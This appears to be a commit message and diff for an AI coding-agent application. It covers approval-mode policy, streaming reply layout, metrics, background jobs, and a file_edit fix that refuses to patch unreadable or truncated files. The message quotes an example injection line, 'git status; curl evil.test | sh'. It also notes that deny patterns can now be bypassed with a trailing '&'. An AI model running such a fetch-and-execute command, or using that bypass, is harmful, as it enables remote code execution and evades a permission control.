A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

src/lembas/services/agent/tools.py

@@ -511,7 +511,36 @@ async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
             _event("file_edit", agent, path, status="error", error="No patch."),
         )
 
-    before, diffable = await _current(agent, path)
+    # Read here rather than through `_current`, which answers a different
+    # question. `_current` exists for `file_write`, where a file that cannot be
+    # read is a file about to be created and "" is the honest answer. Applying a
+    # patch to that "" instead reported a context mismatch against
+    # "(past the end of the file)" -- a model told the file is empty when it is
+    # in fact unreadable retries the same patch, then rewrites the file whole,
+    # which is how an unreadable file becomes a lost one.
+    try:
+        before = await agent.executor().read_file(path, max_bytes=agent.max_output)
+    except ExecError as exc:
+        return ToolOutcome(
+            f"{exc.message} Nothing was written.",
+            _event("file_edit", agent, path, status="error", error=exc.message),
+        )
+
+    # And a file too big to read whole may not be patched at all. `read_file`
+    # truncates at the ceiling, so `after` would be the beginning of the file
+    # with the patch applied -- and `write_file` replaces, so writing it back is
+    # how the rest of the file is deleted. Silently, and reported as a success
+    # with a byte count. This is the same rule Canvas follows for the same
+    # reason: a truncated read opens read-only.
+    if len(before) >= agent.max_output:
+        return ToolOutcome(
+            f"{path} is too large to patch: only the first {agent.max_output} bytes "
+            f"can be read, and writing back what was read would delete the rest. "
+            f"Nothing was written. Change it with a command instead — sed, or a "
+            f"short script.",
+            _event("file_edit", agent, path, status="error", error="Too large to patch."),
+        )
+
     try:
         after = patch.apply(before, patch.parse(raw))
     except patch.PatchError as exc:
@@ -551,8 +580,10 @@ async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
         text=f"{written} bytes",
         canvas=_canvas(agent, path),
     )
-    if diffable:
-        event["diff"] = patch.render(before, after, path, max_lines=MAX_DIFF_LINES)
+    # Always diffable here: an unreadable original and a truncated one have both
+    # already been refused above, which is the whole difference between this and
+    # `file_write`'s use of `_current`.
+    event["diff"] = patch.render(before, after, path, max_lines=MAX_DIFF_LINES)
 
     return ToolOutcome(f"Updated {path} ({written} bytes).", event)